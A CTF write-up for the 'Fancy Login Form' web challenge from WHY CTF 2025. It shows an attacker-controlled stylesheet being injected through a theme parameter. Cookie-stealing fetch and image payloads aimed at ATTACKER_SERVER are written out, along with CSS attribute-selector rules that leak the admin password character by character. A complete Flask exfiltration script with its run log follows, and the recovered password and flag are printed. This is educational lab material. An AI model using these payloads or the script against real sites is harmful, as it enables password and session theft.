Fancy Login Form
Writeup for Fancy Login Form (Web) - WHY CTF (2025) 💜
Video Walkthrough
Description
We created a login form with different themes, hope you like it!
Hint: The admin will only visit its OWN URL
Solution
We arrive to a login page, but no registration function. I try default creds, SQLi etc.
There's a button to dynamically change the theme, which updates a CSS path but doesn't seem particularly interesting. There's also a "report" button. If we click it, a report is automatically sent.
Checking the HTTP history in burp suite, there is a POST request to /report.php
with the following parameter:
url=https://fancy-login-form.ctf.zone/?theme=css/ocean
We can also see the JS code responsible for issuing the request.
document.getElementById("report").addEventListener("click", (e) => {
var url = window.location.href;
var xhr = new XMLHttpRequest();
xhr.open("POST", "/report.php", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
xhr.send("url=" + url);
document.getElementById("report-box").style.display = "none";
document.getElementById("report-button").style.display = "block";
document.getElementById("report").disabled = "true";
document.getElementById("report-text").textContent = "Report sent! An admin will visit the URL shortly!";
});
Open Redirect
At first, I think of XSS and replace the url
with my own server URL (ngrok), but don't get a hit. I remember the hint "The admin will only visit its OWN URL" and realise we also have an open redirect. We can supply the theme
parameter of the URL our own domain.
url=https://fancy-login-form.ctf.zone/?theme=https://ATTACKER_SERVER/css/ocean
We get a hit for the /css/ocean.css
file (meaning we don't control the file extension), so we can create that file on our server. Let's set the contents to import a background image.
body {
background-image: url("https://ATTACKER_SERVER?flag=meow");
}
The server gets a hit!
Unfortunately, I tried various payloads to execute JS here, e.g.
body {
background-image: url("https://ATTACKER_SERVER?flag=" + document.cookie);
}
These resulted in no request being made to the attacker server (not just a missing cookie). I also tried hosting an external JS file, e.g.
var img = new Image();
img.src = "https://ATTACKER_SERVER?flag=" + document.cookie;
Which we import via the attacker-controlled CSS.
@import url("https://ATTACKER_SERVER/payload.js");
It successfully imports, but we don't get the ?flag
request.
I tried a variety of payloads/formats here but each had the same issue, e.g.
fetch("https://ATTACKER_SERVER?flag=" + document.cookie, {
method: "GET",
headers: {
"Content-Type": "application/json",
},
});
I tested this a little in my own browser and spotted the following error.
Still playing around in the browser devtools style editor, I try a different CSS payload.
@font-face {
font-family: "meow";
src: url("https://ATTACKER_SERVER/payload.js");
}
body {
font-family: "meow";
}
I investigated/tested some more techniques from these excellent resources:
Exfiltration via CSS Injection
When reading the blogs, I noticed a method to exfiltrate data from form fields using CSS. I reviewed the source code again and realised there was some JS updating a password attribute each time a key was pressed.
const inp = document.getElementById("password");
inp.addEventListener("keyup", (e) => {
inp.setAttribute("value", inp.value);
});
The fact they only do this for the password, not the username, made me suspicious 🔎 I updated the CSS in the devtools style editor.
input[name="password"][value^="a"] {
background-image: url(https://ATTACKER_SERVER/a);
}
When I typed "a" into the password field, I saw a request to the /a
endpoint on my server.
So, we can host the following in our CSS file. It will check if the first character of the password field matches any character in the alphabet (or digits).
input[name="password"][value^="a"] {
background-image: url("https://ATTACKER_SERVER/a");
}
input[name="password"][value^="b"] {
background-image: url("https://ATTACKER_SERVER/b");
}
input[name="password"][value^="c"] {
background-image: url("https://ATTACKER_SERVER/c");
}
input[name="password"][value^="d"] {
background-image: url("https://ATTACKER_SERVER/d");
}
input[name="password"][value^="e"] {
background-image: url("https://ATTACKER_SERVER/e");
}
input[name="password"][value^="f"] {
background-image: url("https://ATTACKER_SERVER/f");
}
/** Add the remaining input elements for a-zA-Z0-9**/
Then send the admin our CSS URL.
https://fancy-login-form.ctf.zone/?theme=https://ATTACKER_SERVER/css/ocean
In our HTTP log, we'll get the first character of the password ("F")!
HTTP Requests
-------------
21:06:37.376 BST GET /F 404 File not found
21:06:36.748 BST GET /css/ocean.css 200 OK
We just need to repeat this for each character. You could automate this into a nice script but I went for the manual approach (was super slow, don't recommend lol); use find/replace and replace value^=
with value^=F
. Repeat this until we get it all.
Note: I realised that the password has special chars, so after finding F0x13foXtrOT
, I added some more elements to the CSS.
input[name=password][value^=F0x13foXtrOT\!] { background-image: url('https://ATTACKER_SERVER/!'); }
input[name=password][value^=F0x13foXtrOT\@] { background-image: url('https://ATTACKER_SERVER/@'); }
input[name=password][value^=F0x13foXtrOT\#] { background-image: url('https://ATTACKER_SERVER/#'); }
input[name=password][value^=F0x13foXtrOT\$] { background-image: url('https://ATTACKER_SERVER/$'); }
input[name=password][value^=F0x13foXtrOT\%] { background-image: url('https://ATTACKER_SERVER/%'); }
input[name=password][value^=F0x13foXtrOT\^] { background-image: url('https://ATTACKER_SERVER/^'); }
input[name=password][value^=F0x13foXtrOT\&] { background-image: url('https://ATTACKER_SERVER/&'); }
input[name=password][value^=F0x13foXtrOT\*] { background-image: url('https://ATTACKER_SERVER/*'); }
input[name=password][value^=F0x13foXtrOT\(] { background-image: url('https://ATTACKER_SERVER/('); }
input[name=password][value^=F0x13foXtrOT\)] { background-image: url('https://ATTACKER_SERVER/)'); }
input[name=password][value^=F0x13foXtrOT\_] { background-image: url('https://ATTACKER_SERVER/_'); }
input[name=password][value^=F0x13foXtrOT\-] { background-image: url('https://ATTACKER_SERVER/-'); }
input[name=password][value^=F0x13foXtrOT\+] { background-image: url('https://ATTACKER_SERVER/+'); }
input[name=password][value^=F0x13foXtrOT\~] { background-image: url('https://ATTACKER_SERVER/~'); }
input[name=password][value^=F0x13foXtrOT\[ ] { background-image: url('https://ATTACKER_SERVER/['); }
input[name=password][value^=F0x13foXtrOT\\] { background-image: url('https://ATTACKER_SERVER/]'); }
input[name=password][value^=F0x13foXtrOT\|] { background-image: url('https://ATTACKER_SERVER/|'); }
input[name=password][value^=F0x13foXtrOT\;] { background-image: url('https://ATTACKER_SERVER/;'); }
input[name=password][value^=F0x13foXtrOT\:'"] { background-image: url('https://ATTACKER_SERVER/:\'"'); }
input[name=password][value^=F0x13foXtrOT\,] { background-image: url('https://ATTACKER_SERVER/,'); }
input[name=password][value^=F0x13foXtrOT\.] { background-image: url('https://ATTACKER_SERVER/.'); }
input[name=password][value^=F0x13foXtrOT\/] { background-image: url('https://ATTACKER_SERVER//'); }
The full password is F0x13foXtrOT&Elas7icBe4n5
, we can login with:
admin:F0x13foXtrOT&Elas7icBe4n5
Welcome admin! You earned yourself a flag: flag{6b1f095e79699a79dc4a366c1131313e}
After submitting the flag, I decided to use ChatGPT to write an automated solve script. I should have done this at the start, to reduce manual effort/error 😆
from flask import Flask, Response
from urllib.parse import quote
import argparse
import requests
app = Flask(__name__)
S = {
'attacker': 'https://ATTACKER_SERVER',
'target': 'https://fancy-login-form.ctf.zone',
'report_path': '/report.php',
'charset': 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_+-=~[]\\|;:\'",./',
'prefix': '',
'auto_revisit': True
}
def css_attr_escape(s: str) -> str:
return s.replace("\\", "\\\\").replace('"', '\\"')
@app.get("/")
def idx():
return f"prefix:{S['prefix']} css:{S['attacker']}/css/ocean"
@app.get("/css/ocean.css")
def ocean():
p = S['prefix']
rules = []
for ch in S['charset']:
cand = p + ch
leak = f"{S['attacker']}/leak/{quote(cand, safe='')}"
sel = f'input[name="password"][value^="{css_attr_escape(cand)}"]'
rules.append(f"{sel}{{background-image:url('{leak}')}}")
css = ''.join(rules)
resp = Response(css, mimetype="text/css")
resp.headers['Cache-Control'] = 'no-store, no-cache, must-revalidate, max-age=0'
resp.headers['Pragma'] = 'no-cache'
resp.headers['Expires'] = '0'
return resp
@app.get("/leak/<path:cand>")
def leak(cand):
if cand.startswith(S['prefix']) and len(cand) > len(S['prefix']):
S['prefix'] = cand
print("[+]", S['prefix'], flush=True)
if S.get('auto_revisit'):
try:
url = f"{S['target']}/?theme={S['attacker']}/css/ocean"
r = requests.post(S['target'] + S['report_path'],
data={'url': url}, timeout=8)
print("[*] re-report", r.status_code)
except Exception as e:
print("[!] re-report failed:", e)
return ""
def report():
url = f"{S['target']}/?theme={S['attacker']}/css/ocean"
r = requests.post(S['target'] + S['report_path'],
data={'url': url}, timeout=8)
print("[*] report", r.status_code)
if __name__ == "__main__":
ap = argparse.ArgumentParser()
ap.add_argument("--attacker")
ap.add_argument("--target")
ap.add_argument("--report-path")
ap.add_argument("--charset")
ap.add_argument("--start-prefix")
ap.add_argument("--no-auto", action="store_true")
ap.add_argument("--host", default="0.0.0.0")
ap.add_argument("--port", type=int, default=80)
a = ap.parse_args()
if a.attacker:
S['attacker'] = a.attacker.rstrip("/")
if a.target:
S['target'] = a.target.rstrip("/")
if a.report_path:
S['report_path'] = a.report_path
if a.charset:
S['charset'] = a.charset
if a.start_prefix:
S['prefix'] = a.start_prefix
if a.no_auto:
S['auto_revisit'] = False
try:
report()
except Exception as e:
print("[!] initial report failed:", e)
print("[*] serve CSS at", S['attacker'] + "/css/ocean.css")
app.run(host=a.host, port=a.port, debug=False)
sudo python exfil.py
[*] report 200
[*] serve CSS at https://ATTACKER_SERVER/css/ocean.css
* Serving Flask app 'exfil'
* Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
* Running on all addresses (0.0.0.0)
* Running on http://127.0.0.1:80
* Running on http://192.168.16.128:80
Press CTRL+C to quit
127.0.0.1 - - [12/Aug/2025 09:29:26] "GET /css/ocean.css HTTP/1.1" 200 -
[+] F
[*] re-report 200
127.0.0.1 - - [12/Aug/2025 09:29:32] "GET /leak/F HTTP/1.1" 200 -
127.0.0.1 - - [12/Aug/2025 09:29:42] "GET /css/ocean.css HTTP/1.1" 200 -
[+] F0
[*] re-report 200
127.0.0.1 - - [12/Aug/2025 09:29:58] "GET /leak/F0 HTTP/1.1" 200 -
127.0.0.1 - - [12/Aug/2025 09:30:07] "GET /css/ocean.css HTTP/1.1" 200 -
[+] F0x
Flag: flag{6b1f095e79699a79dc4a366c1131313e}
Last updated